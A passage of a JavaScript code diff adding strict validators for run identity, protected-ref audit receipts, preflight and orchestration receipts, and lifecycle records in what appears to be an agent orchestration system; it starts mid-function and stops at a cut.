+ try { + assertRunId(value, pathLabel); + } catch (error) { + if (error instanceof RunContractV1Error) deny('invalid_format', pathLabel); + deny('invalid_type', pathLabel); + } + return value; +} + +function bindBaseSha(value, pathLabel) { + try { + assertBaseSha(value, pathLabel); + } catch (error) { + if (error instanceof RunContractV1Error) deny('invalid_format', pathLabel); + deny('invalid_type', pathLabel); + } + return value; +} + +function bindAssignmentId(value, pathLabel) { + if (!isAssignmentId(value)) deny('invalid_format', pathLabel); + return value; +} + +function sameIdentity(left, right, pathLabel) { + if (!OBJECT_IS(left, right)) deny('identity_mismatch', pathLabel); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, values); +} + +function parseBooleanMap(input, keys, alwaysFalse, pathLabel) { + assertClosedObject(input, keys, pathLabel); + exactKeySet(input, keys, pathLabel); + const values = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + const value = ownBoolean(input, key, pathLabel); + if (capturedIncludes(alwaysFalse, key) && value !== false) deny('invalid_format', pathLabel); + values[key] = value; + } + return freezeRecord(keys, values); +} + +function parseStringList(input, allowedPattern, pathLabel, maxLength, maxBytes = MAX_API_STRING_BYTES) { + if (input.length > maxLength) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const itemPath = pathLabel; + const value = ownDataValue(input, STRING(i), itemPath); + if (typeof value !== 'string') deny('invalid_type', itemPath); + if (BYTE_LENGTH(value, 'utf8') > maxBytes) deny('bounds_exceeded', itemPath); + if (allowedPattern && !capturedTest(allowedPattern, value)) deny('invalid_format', itemPath); + if (seen.has(value)) deny('invalid_format', itemPath); + seen.add(value); + values.push(value); + } + return capturedFreeze(values); +} + +function parseEnumList(input, allowed, pathLabel, maxLength) { + if (input.length > maxLength) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (!capturedIncludes(allowed, value)) deny('invalid_format', pathLabel); + if (seen.has(value)) deny('invalid_format', pathLabel); + seen.add(value); + values.push(value); + } + return capturedFreeze(values); +} + +function parseIdentity(input) { + const pathLabel = 'identity'; + assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(input, IDENTITY_REQUIRED_KEYS, pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + const values = { run_id: runId, base_sha: baseSha }; + if (hasOwn(input, 'assignment_id')) { + values.assignment_id = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + } + if (hasOwn(input, 'provider')) { + const provider = ownString(input, 'provider', pathLabel); + if (!isKnownProvider(provider)) deny('invalid_format', pathLabel); + values.provider = provider; + } + return freezeRecord(IDENTITY_ALLOWED_KEYS, values); +} + +function parseFactPayload(input, pathLabel, expectedBase) { + assertClosedObject(input, AUDIT_FACT_PAYLOAD_KEYS, pathLabel); + requireKeys(input, AUDIT_FACT_PAYLOAD_KEYS, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const headSha = ownString(input, 'head_sha', pathLabel); + if (!isSha40(headSha)) deny('invalid_format', pathLabel); + return freezeRecord(AUDIT_FACT_PAYLOAD_KEYS, { base_sha: baseSha, head_sha: headSha }); +} + +function parseDigestList(input, pathLabel) { + if (input.length > MAX_API_COLLECTION) deny('bounds_exceeded', pathLabel); + const values = []; + for (let i = 0; i < input.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + if (!capturedTest(SHA256_LABELED_PATTERN, value) && !capturedTest(SHA256_PATTERN, value)) { + deny('invalid_format', pathLabel); + } + values.push(value); + } + return capturedFreeze(values); +} + +function parseFact(input, pathLabel, identity) { + assertClosedObject(input, AUDIT_FACT_ALLOWED_KEYS, pathLabel); + requireKeys(input, AUDIT_FACT_REQUIRED_KEYS, pathLabel); + const factKind = ownEnum(input, 'fact_kind', FACT_KINDS, pathLabel); + const status = ownEnum(input, 'status', FACT_STATUSES, pathLabel); + const code = ownEnum(input, 'code', FACT_CODES, pathLabel); + const authority = ownEnum(input, 'authority', FACT_AUTHORITIES, pathLabel); + const method = ownEnum(input, 'method', FACT_METHODS, pathLabel); + if (factKind !== 'git_identity' || authority !== 'platform_git' + || method !== 'protected_ref_snapshot_compare' || code !== 'host_observed') { + deny('invalid_format', pathLabel); + } + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + sameIdentity(assignmentId, identity.assignment_id, pathLabel); + const truncated = ownBoolean(input, 'truncated', pathLabel); + if (truncated === true && status === 'verified') deny('invalid_format', pathLabel); + const exitRaw = ownDataValue(input, 'exit_code', pathLabel); + let exitCode = exitRaw; + if (exitRaw !== null) { + if (typeof exitRaw !== 'number' || !IS_INT(exitRaw) || exitRaw < 0 || exitRaw > 255) { + deny('out_of_range', pathLabel); + } + exitCode = exitRaw; + } + const payload = parseFactPayload(ownDataValue(input, 'payload', pathLabel), pathLabel, identity.base_sha); + if (hasOwn(input, 'payload_digest')) ownSha256(input, 'payload_digest', pathLabel); + if (hasOwn(input, 'recorded_at')) { + const recordedAt = ownString(input, 'recorded_at', pathLabel); + if (!capturedTest(TIMESTAMP_PATTERN, recordedAt)) deny('invalid_format', pathLabel); + } + return freezeRecord(['authority', 'code', 'fact_kind', 'method', 'status', 'truncated'], { + fact_kind: factKind, + status, + code, + authority, + method, + truncated, + // exit_code is validated so forged verified/failed pairings cannot hide + // behind an impossible code, then dropped from the public summary. + _exit_code: exitCode, + _sequence: ownInt(input, 'sequence', pathLabel, 0, MAX_SEQUENCE), + _duration_ms: ownInt(input, 'duration_ms', pathLabel, 0, MAX_DURATION_MS), + _fact_id: ownRecordId(input, 'fact_id', pathLabel), + _subject: (() => { + const subject = ownString(input, 'subject', pathLabel); + if (!capturedTest(SUBJECT_PATTERN, subject)) deny('invalid_format', pathLabel); + return subject; + })(), + _input_digest: ownSha256(input, 'input_digest', pathLabel), + _output_digest: ownSha256(input, 'output_digest', pathLabel), + _artifact_digests: parseDigestList(ownArray(input, 'artifact_digests', pathLabel, MAX_API_COLLECTION), pathLabel), + _payload: payload, + }); +} + +function projectFact(parsed) { + return freezeRecord( + ['authority', 'code', 'fact_kind', 'method', 'status', 'truncated'], + { + fact_kind: parsed.fact_kind, + status: parsed.status, + code: parsed.code, + authority: parsed.authority, + method: parsed.method, + truncated: parsed.truncated, + }, + ); +} + +function parseDiscrepancy(input, pathLabel, identity) { + assertClosedObject(input, AUDIT_DISCREPANCY_ALLOWED_KEYS, pathLabel); + requireKeys(input, AUDIT_DISCREPANCY_REQUIRED_KEYS, pathLabel); + const kind = ownEnum(input, 'discrepancy_kind', DISCREPANCY_KINDS, pathLabel); + const status = ownEnum(input, 'status', DISCREPANCY_STATUSES, pathLabel); + const code = ownEnum(input, 'code', DISCREPANCY_CODES, pathLabel); + if (kind !== 'security' || code !== 'security_boundary' || status !== 'recorded') { + deny('invalid_format', pathLabel); + } + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + sameIdentity(assignmentId, identity.assignment_id, pathLabel); + ownRecordId(input, 'discrepancy_id', pathLabel); + ownInt(input, 'sequence', pathLabel, 0, MAX_SEQUENCE); + parseDigestList(ownArray(input, 'artifact_digests', pathLabel, MAX_API_COLLECTION), pathLabel); + const claimIds = ownArray(input, 'claim_ids', pathLabel, MAX_API_COLLECTION); + parseStringList(claimIds, RECORD_ID_PATTERN, pathLabel, MAX_API_COLLECTION); + const factIds = ownArray(input, 'fact_ids', pathLabel, MAX_API_COLLECTION); + parseStringList(factIds, RECORD_ID_PATTERN, pathLabel, MAX_API_COLLECTION); + if (hasOwn(input, 'recorded_at')) { + const recordedAt = ownString(input, 'recorded_at', pathLabel); + if (!capturedTest(TIMESTAMP_PATTERN, recordedAt)) deny('invalid_format', pathLabel); + } + return freezeRecord(['code', 'discrepancy_kind', 'status'], { + discrepancy_kind: kind, + status, + code, + }); +} + +function parseComparison(input, pathLabel) { + assertClosedObject(input, PROTECTED_REF_AUDIT_COMPARISON_KEYS, pathLabel); + exactKeySet(input, PROTECTED_REF_AUDIT_COMPARISON_KEYS, pathLabel); + return freezeRecord(PROTECTED_REF_AUDIT_COMPARISON_KEYS, { + outcome: ownEnum(input, 'outcome', COMPARISON_OUTCOMES, pathLabel), + storage: ownEnum(input, 'storage', PROTECTED_REF_AUDIT_STORAGE_CLASSES, pathLabel), + ref_class: ownEnum(input, 'ref_class', REF_CLASS_VALUES, pathLabel), + protected: ownBoolean(input, 'protected', pathLabel), + default_branch_target: ownBoolean(input, 'default_branch_target', pathLabel), + }); +} + +function parseFinding(input, pathLabel) { + assertClosedObject(input, AUDIT_FINDING_KEYS, pathLabel); + exactKeySet(input, AUDIT_FINDING_KEYS, pathLabel); + return freezeRecord(AUDIT_FINDING_KEYS, { + code: ownEnum(input, 'code', PROTECTED_REF_AUDIT_FINDING_CODES, pathLabel), + storage: ownEnum(input, 'storage', PROTECTED_REF_AUDIT_STORAGE_CLASSES, pathLabel), + ref_class: ownEnum(input, 'ref_class', REF_CLASS_VALUES, pathLabel), + protected: ownBoolean(input, 'protected', pathLabel), + default_branch_target: ownBoolean(input, 'default_branch_target', pathLabel), + }); +} + +function parseObservation(input, pathLabel, comparedCount) { + assertClosedObject(input, AUDIT_OBSERVATION_KEYS, pathLabel); + exactKeySet(input, AUDIT_OBSERVATION_KEYS, pathLabel); + const compared = ownInt(input, 'compared_count', pathLabel, 0, MAX_AUDIT_REFS); + if (compared !== comparedCount) deny('invalid_format', pathLabel); + ownInt(input, 'command_count', pathLabel, 0, 64); + ownInt(input, 'duration_ms', pathLabel, 0, MAX_DURATION_MS); + return freezeRecord( + ['compared_count', 'loose_count', 'missing_count', 'packed_count', 'symbolic_count'], + { + compared_count: compared, + loose_count: ownInt(input, 'loose_count', pathLabel, 0, MAX_AUDIT_REFS), + missing_count: ownInt(input, 'missing_count', pathLabel, 0, MAX_AUDIT_REFS), + packed_count: ownInt(input, 'packed_count', pathLabel, 0, MAX_AUDIT_REFS), + symbolic_count: ownInt(input, 'symbolic_count', pathLabel, 0, MAX_AUDIT_REFS), + }, + ); +} + +function parseAudit(input, identity) { + const pathLabel = 'audit'; + assertClosedObject(input, PROTECTED_REF_AUDIT_RECEIPT_KEYS, pathLabel); + exactKeySet(input, PROTECTED_REF_AUDIT_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== PROTECTED_REF_AUDIT_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== PROTECTED_REF_AUDIT_VERSION) deny('invalid_format', pathLabel); + const status = ownEnum(input, 'status', PROTECTED_REF_AUDIT_STATUSES, pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + if (hasOwn(identity, 'assignment_id')) sameIdentity(assignmentId, identity.assignment_id, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, identity.base_sha, pathLabel); + const boundIdentity = freezeRecord(['assignment_id', 'base_sha', 'run_id'], { + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + }); + const comparisonsIn = ownArray(input, 'comparisons', pathLabel, MAX_AUDIT_REFS); + const comparisons = []; + for (let i = 0; i < comparisonsIn.length; i += 1) { + comparisons.push(parseComparison(ownDataValue(comparisonsIn, STRING(i), pathLabel), pathLabel)); + } + const findingsIn = ownArray(input, 'findings', pathLabel, MAX_AUDIT_REFS); + const findings = []; + for (let i = 0; i < findingsIn.length; i += 1) { + findings.push(parseFinding(ownDataValue(findingsIn, STRING(i), pathLabel), pathLabel)); + } + const observed = parseEnumList( + ownArray(input, 'observed_classes', pathLabel, MAX_AUDIT_REFS), + PROTECTED_REF_AUDIT_FINDING_CODES, + pathLabel, + MAX_AUDIT_REFS, + ); + const factsIn = ownArray(input, 'facts', pathLabel, 1); + if (factsIn.length !== 1) deny('invalid_format', pathLabel); + const facts = [parseFact(ownDataValue(factsIn, '0', pathLabel), pathLabel, boundIdentity)]; + const discrepanciesIn = ownArray(input, 'discrepancies', pathLabel, 1); + const discrepancies = []; + for (let i = 0; i < discrepanciesIn.length; i += 1) { + discrepancies.push(parseDiscrepancy(ownDataValue(discrepanciesIn, STRING(i), pathLabel), pathLabel, boundIdentity)); + } + if (status === 'failed' && discrepancies.length !== 1) deny('invalid_format', pathLabel); + if (status === 'verified' && discrepancies.length !== 0) deny('invalid_format', pathLabel); + if (facts[0].status !== status) deny('invalid_format', pathLabel); + return { + schema, + version, + status, + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + repository_kind: ownEnum(input, 'repository_kind', PROTECTED_REF_AUDIT_REPOSITORY_KINDS, pathLabel), + comparisons: capturedFreeze(comparisons), + findings: capturedFreeze(findings), + observed_classes: observed, + facts: capturedFreeze(facts.map(projectFact)), + fact_statuses: capturedFreeze(facts.map((fact) => fact.status)), + discrepancies: capturedFreeze(discrepancies), + side_effects: parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + pathLabel, + ), + observation: parseObservation( + ownDataValue(input, 'observation', pathLabel), + pathLabel, + comparisons.length, + ), + }; +} + +function parseGitIdentity(input, pathLabel, expectedBase) { + assertClosedObject(input, GIT_IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(input, capturedFreeze(['base_sha', 'digest', 'schema']), pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== GIT_IDENTITY_SCHEMA_ID) deny('invalid_format', pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const digest = ownString(input, 'digest', pathLabel, MAX_DROPPED_STRING_BYTES); + if (!capturedTest(SHA256_PATTERN, digest) && !capturedTest(SHA256_LABELED_PATTERN, digest)) { + deny('invalid_format', pathLabel); + } + if (hasOwn(input, 'repository_path')) { + ownString(input, 'repository_path', pathLabel, MAX_DROPPED_STRING_BYTES); + } +} + +function parseRepository(input, pathLabel, expectedBase) { + assertClosedObject(input, PREFLIGHT_REPOSITORY_KEYS, pathLabel); + requireKeys(input, PREFLIGHT_REPOSITORY_KEYS, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const objectType = ownString(input, 'object_type', pathLabel); + if (objectType !== 'commit') deny('invalid_format', pathLabel); + ownString(input, 'path', pathLabel, MAX_DROPPED_STRING_BYTES); + ownString(input, 'git_dir', pathLabel, MAX_DROPPED_STRING_BYTES); + return baseSha; +} + +function parseChildren(input, pathLabel) { + assertClosedObject(input, PREFLIGHT_CHILD_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_CHILD_KEYS, pathLabel); + const count = ownInt(input, 'count', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + const minimum = ownInt(input, 'minimum', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + const maximum = ownInt(input, 'maximum', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + if (minimum !== PREFLIGHT_MIN_CHILDREN || maximum !== PREFLIGHT_MAX_CHILDREN) { + deny('invalid_format', pathLabel); + } + const assignmentIds = parseStringList( + ownArray(input, 'assignment_ids', pathLabel, PREFLIGHT_MAX_CHILDREN), + /^[a-z][a-z0-9-]{0,63}$/u, + pathLabel, + PREFLIGHT_MAX_CHILDREN, + ); + if (assignmentIds.length !== count) deny('invalid_format', pathLabel); + const independent = ownBoolean(input, 'independent', pathLabel); + if (independent !== true) deny('invalid_format', pathLabel); + ownInt(input, 'concurrency', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + ownInt(input, 'scope_pair_checks', pathLabel, 0, 4096); + return assignmentIds; +} + +function parseCapacity(input, pathLabel) { + assertClosedObject(input, PREFLIGHT_CAPACITY_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_CAPACITY_KEYS, pathLabel); + ownEnum(input, 'source', PREFLIGHT_CAPACITY_SOURCES, pathLabel); + ownInt(input, 'cpu_parallelism', pathLabel, 0, 10_000); + ownInt(input, 'total_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + ownInt(input, 'available_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + ownInt(input, 'required_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + return { + cpu_ok: ownBoolean(input, 'cpu_ok', pathLabel), + ram_ok: ownBoolean(input, 'ram_ok', pathLabel), + }; +} + +function parseChecks(input, expected, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + if (!IS_ARRAY(input)) deny('invalid_type', pathLabel); + if (input.length !== expected.length) deny('invalid_format', pathLabel); + for (let i = 0; i < expected.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (value !== expected[i]) deny('invalid_format', pathLabel); + } + return expected; +} + +function parsePreflight(input, pathLabel, identity) { + assertClosedObject(input, PREFLIGHT_RECEIPT_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_PREFLIGHT_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_PREFLIGHT_VERSION) deny('invalid_format', pathLabel); + const status = ownString(input, 'status', pathLabel); + if (status !== 'ready') deny('invalid_format', pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentIds = parseChildren(ownDataValue(input, 'children', pathLabel), pathLabel); + const capacity = parseCapacity(ownDataValue(input, 'capacity', pathLabel), pathLabel); + parseRepository(ownDataValue(input, 'repository', pathLabel), pathLabel, identity.base_sha); + parseGitIdentity(ownDataValue(input, 'git_identity', pathLabel), pathLabel, identity.base_sha); + parseChecks(ownDataValue(input, 'checks', pathLabel), RUN_PREFLIGHT_CHECKS, pathLabel); + parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + pathLabel, + ); + return { + status, + assignment_ids: assignmentIds, + cpu_ok: capacity.cpu_ok, + ram_ok: capacity.ram_ok, + }; +} + +function parseLane(input, pathLabel, seen) { + assertClosedObject(input, ORCHESTRATION_LANE_KEYS, pathLabel); + exactKeySet(input, ORCHESTRATION_LANE_KEYS, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + if (seen.has(assignmentId)) deny('invalid_format', pathLabel); + seen.add(assignmentId); + const status = ownEnum(input, 'status', ORCHESTRATION_LANE_STATUSES, pathLabel); + const identity = ownString(input, 'identity', pathLabel); + if (!capturedTest(LANE_IDENTITY_PATTERN, identity)) deny('invalid_format', pathLabel); + const projected = ownArray(input, 'projected_keys', pathLabel, 64); + parseStringList(projected, PROJECTED_KEY_PATTERN, pathLabel, 64, 64); + const credentialPresent = ownBoolean(input, 'credential_present', pathLabel); + let provider = ownDataValue(input, 'provider', pathLabel); + let model = ownDataValue(input, 'model', pathLabel); + if (status === 'selection_unresolved') { + if (provider !== null || model !== null) deny('invalid_format', pathLabel); + provider = null; + model = null; + } else { + if (typeof provider !== 'string' || !isKnownProvider(provider)) deny('invalid_format', pathLabel); + if (typeof model !== 'string' || !isModelId(model)) deny('invalid_format', pathLabel); + } + return freezeRecord( + ['assignment_id', 'credential_present', 'model', 'provider', 'status'], + { + assignment_id: assignmentId, + provider, + model, + status, + credential_present: credentialPresent, + }, + ); +} + +function parseOrchestrationDenial(input, identity) { + const pathLabel = 'orchestration'; + assertClosedObject(input, ORCHESTRATION_DENIAL_KEYS, pathLabel); + requireKeys(input, ORCHESTRATION_DENIAL_REQUIRED_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_ORCHESTRATION_SCHEMA_ID && schema !== RUN_PREFLIGHT_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_ORCHESTRATION_VERSION && version !== RUN_PREFLIGHT_VERSION) { + deny('invalid_format', pathLabel); + } + const code = ownString(input, 'code', pathLabel); + if (!capturedIncludes(DENIAL_CODES, code)) deny('invalid_format', pathLabel); + if (hasOwn(input, 'run_id')) { + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + } + return freezeRecord( + ['code', 'kind', 'schema', 'version'], + { + kind: 'denial', + schema, + version: RUN_ORCHESTRATION_VERSION, + code, + }, + ); +} + +function parseOrchestrationReceipt(input, identity) { + const pathLabel = 'orchestration'; + assertClosedObject(input, ORCHESTRATION_RECEIPT_KEYS, pathLabel); + exactKeySet(input, ORCHESTRATION_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_ORCHESTRATION_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_ORCHESTRATION_VERSION) deny('invalid_format', pathLabel); + const status = ownEnum(input, 'status', ORCHESTRATION_RECEIPT_STATUSES, pathLabel); + const intent = ownEnum(input, 'intent', ORCHESTRATION_INTENTS, pathLabel); + if (status === 'prepared' && intent !== 'prepare') deny('invalid_format', pathLabel); + if (status === 'dispatched' && intent !== 'dispatch') deny('invalid_format', pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const preflight = parsePreflight(ownDataValue(input, 'preflight', pathLabel), pathLabel, identity); + const lanesIn = ownArray(input, 'lanes', pathLabel, MAX_API_LANES); + if (lanesIn.length < PREFLIGHT_MIN_CHILDREN) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const lanes = []; + for (let i = 0; i < lanesIn.length; i += 1) { + lanes.push(parseLane(ownDataValue(lanesIn, STRING(i), pathLabel), pathLabel, seen)); + } + if (lanes.length !== preflight.assignment_ids.length) deny('identity_mismatch', pathLabel); + for (let i = 0; i < lanes.length; i += 1) { + if (!capturedIncludes(preflight.assignment_ids, lanes[i].assignment_id)) { + deny('identity_mismatch', pathLabel); + } + } + if (status === 'dispatched') { + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].status === 'selection_unresolved') deny('invalid_format', pathLabel); + } + } + const sideEffects = parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + pathLabel, + ); + assertPrepareSideEffects(status, intent, sideEffects, pathLabel); + parseChecks(ownDataValue(input, 'checks', pathLabel), RUN_ORCHESTRATION_CHECKS, pathLabel); + return { + kind: 'receipt', + schema, + version, + status, + intent, + preflight_status: preflight.status, + lanes: capturedFreeze(lanes), + checks: RUN_ORCHESTRATION_CHECKS, + side_effects: sideEffects, + cpu_ok: preflight.cpu_ok, + ram_ok: preflight.ram_ok, + }; +} + +function parseOrchestration(input, identity) { + if (input === undefined || input === null) deny('invalid_type', 'orchestration'); + try { assertNotProxy(input, 'orchestration'); } catch (error) { remapClosure(error, 'orchestration'); } + if (typeof input !== 'object') deny('invalid_type', 'orchestration'); + const keys = (() => { + try { return OWN_KEYS(input); } catch { deny('invalid_type', 'orchestration'); return []; } + })(); + let hasCode = false; + let hasLanes = false; + for (let i = 0; i < keys.length; i += 1) { + if (keys[i] === 'code') hasCode = true; + if (keys[i] === 'lanes') hasLanes = true; + } + if (hasCode && hasLanes) deny('invalid_format', 'orchestration'); + if (hasCode) return parseOrchestrationDenial(input, identity); + if (hasLanes) return parseOrchestrationReceipt(input, identity); + deny('invalid_format', 'orchestration'); +} + +function parseUnresolvedEntry(input, pathLabel, seen) { + assertClosedObject(input, LIFECYCLE_UNRESOLVED_KEYS, pathLabel); + exactKeySet(input, LIFECYCLE_UNRESOLVED_KEYS, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + const code = ownEnum(input, 'code', LIFECYCLE_UNRESOLVED_CODES, pathLabel); + const fingerprint = `${assignmentId}:${code}`; + if (seen.has(fingerprint)) deny('invalid_format', pathLabel); + seen.add(fingerprint); + return freezeRecord(LIFECYCLE_UNRESOLVED_KEYS, { assignment_id: assignmentId, code }); +} + +function parseLifecycle(input) { + if (input === undefined) return null; + const pathLabel = 'lifecycle'; + assertClosedObject(input, LIFECYCLE_ALLOWED_KEYS, pathLabel); + requireKeys(input, LIFECYCLE_REQUIRED_KEYS, pathLabel); + const status = ownEnum(input, 'status', LIFECYCLE_STATUSES, pathLabel); + const cleaned = ownBoolean(input, 'cleaned', pathLabel); + const unresolvedIn = ownArray(input, 'unresolved', pathLabel, MAX_API_LANES); + const seen = new SET_CTOR(); + const unresolved = []; + for (let i = 0; i < unresolvedIn.length; i += 1) { + unresolved.push(parseUnresolvedEntry(ownDataValue(unresolvedIn, STRING(i), pathLabel), pathLabel, seen)); + } + const values = { + status, + cleaned, + unresolved: capturedFreeze(unresolved), + }; + if (hasOwn(input, 'missing')) values.missing = ownBoolean(input, 'missing', pathLabel); + if (hasOwn(input, 'restarted')) values.restarted = ownBoolean(input, 'restarted', pathLabel); + if (hasOwn(input, 'side_effects')) { + values.side_effects = parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + pathLabel, + ); + } + return freezeRecord(LIFECYCLE_ALLOWED_KEYS, values); +} + +function claimsPrepareForbiddenSideEffects(sideEffects) { + if (sideEffects == null) return false; + for (let i = 0; i < PREPARE_FORBIDDEN_SIDE_EFFECTS.length; i += 1) { + if (sideEffects[PREPARE_FORBIDDEN_SIDE_EFFECTS[i]] === true) return true; + } + return false; +} + +function isPreparedReceipt(orchestration) { + return orchestration.kind === 'receipt' + && (orchestration.status === 'prepared' || orchestration.intent === 'prepare'); +} + +function assertPrepareSideEffects(status, intent, sideEffects, pathLabel) { + if (status !== 'prepared' && intent !== 'prepare') return; + if (claimsPrepareForbiddenSideEffects(sideEffects)) deny('invalid_format', pathLabel); +} + +function assertLifecycleSideEffectConsistency(orchestration, lifecycle) { + if (!isPreparedReceipt(orchestration)) return; + if (lifecycle != null && claimsPrepareForbiddenSideEffects(lifecycle.side_effects)) { + deny('invalid_format', 'lifecycle'); + } +} + +function auditIsNegative(audit) { + if (audit.status === 'failed') return true; + for (let i = 0; i < audit.comparisons.length; i += 1) { + if (capturedIncludes(FAILING_COMPARISON_OUTCOMES, audit.comparisons[i].outcome)) return true; + } + for (let i = 0; i < audit.findings.length; i += 1) { + if (capturedIncludes(PROTECTED_REF_AUDIT_FAILING_CODES, audit.findings[i].code)) return true; + } + for (let i = 0; i < audit.observed_classes.length; i += 1) { + if (capturedIncludes(PROTECTED_REF_AUDIT_FAILING_CODES, audit.observed_classes[i])) return true; + } + for (let i = 0; i < audit.fact_statuses.length; i += 1) { + if (audit.fact_statuses[i] !== 'verified') return true; + } + if (audit.discrepancies.length > 0) return true; + return false; +} + +function lifecycleIsUnresolved(lifecycle) { + if (lifecycle == null) return false; + if (lifecycle.missing === true) return true; + if (lifecycle.unresolved.length > 0) return true; + if (lifecycle.restarted === true) return false; + return lifecycle.cleaned !== true; +} + +function bindLaneProvider(identity, orchestration, auditAssignmentId) { + if (orchestration.kind !== 'receipt') { + if (hasOwn(identity, 'assignment_id')) { + sameIdentity(identity.assignment_id, auditAssignmentId, 'identity.assignment_id'); + } + return; + } + const lanes = orchestration.lanes; + if (hasOwn(identity, 'assignment_id')) { + sameIdentity(identity.assignment_id, auditAssignmentId, 'identity.assignment_id'); + let found = false; + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].assignment_id === identity.assignment_id) found = true; + } + if (!found) deny('identity_mismatch', 'identity.assignment_id'); + } + if (hasOwn(identity, 'provider')) { + let found = false; + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].provider === identity.provider) found = true; + } + if (!found) deny('identity_mismatch', 'identity.provider'); + } +} + +function deriveStatus(audit, orchestration, lifecycle) { + if (auditIsNegative(audit)) return 'failed'; + if (orchestration.kind === 'denial') return 'denied'; + if (orchestration.cpu_ok !== true || orchestration.ram_ok !== true) return 'denied'; + if (lifecycleIsUnresolved(lifecycle)) return 'unresolved'; + return 'ready'; +} + +function 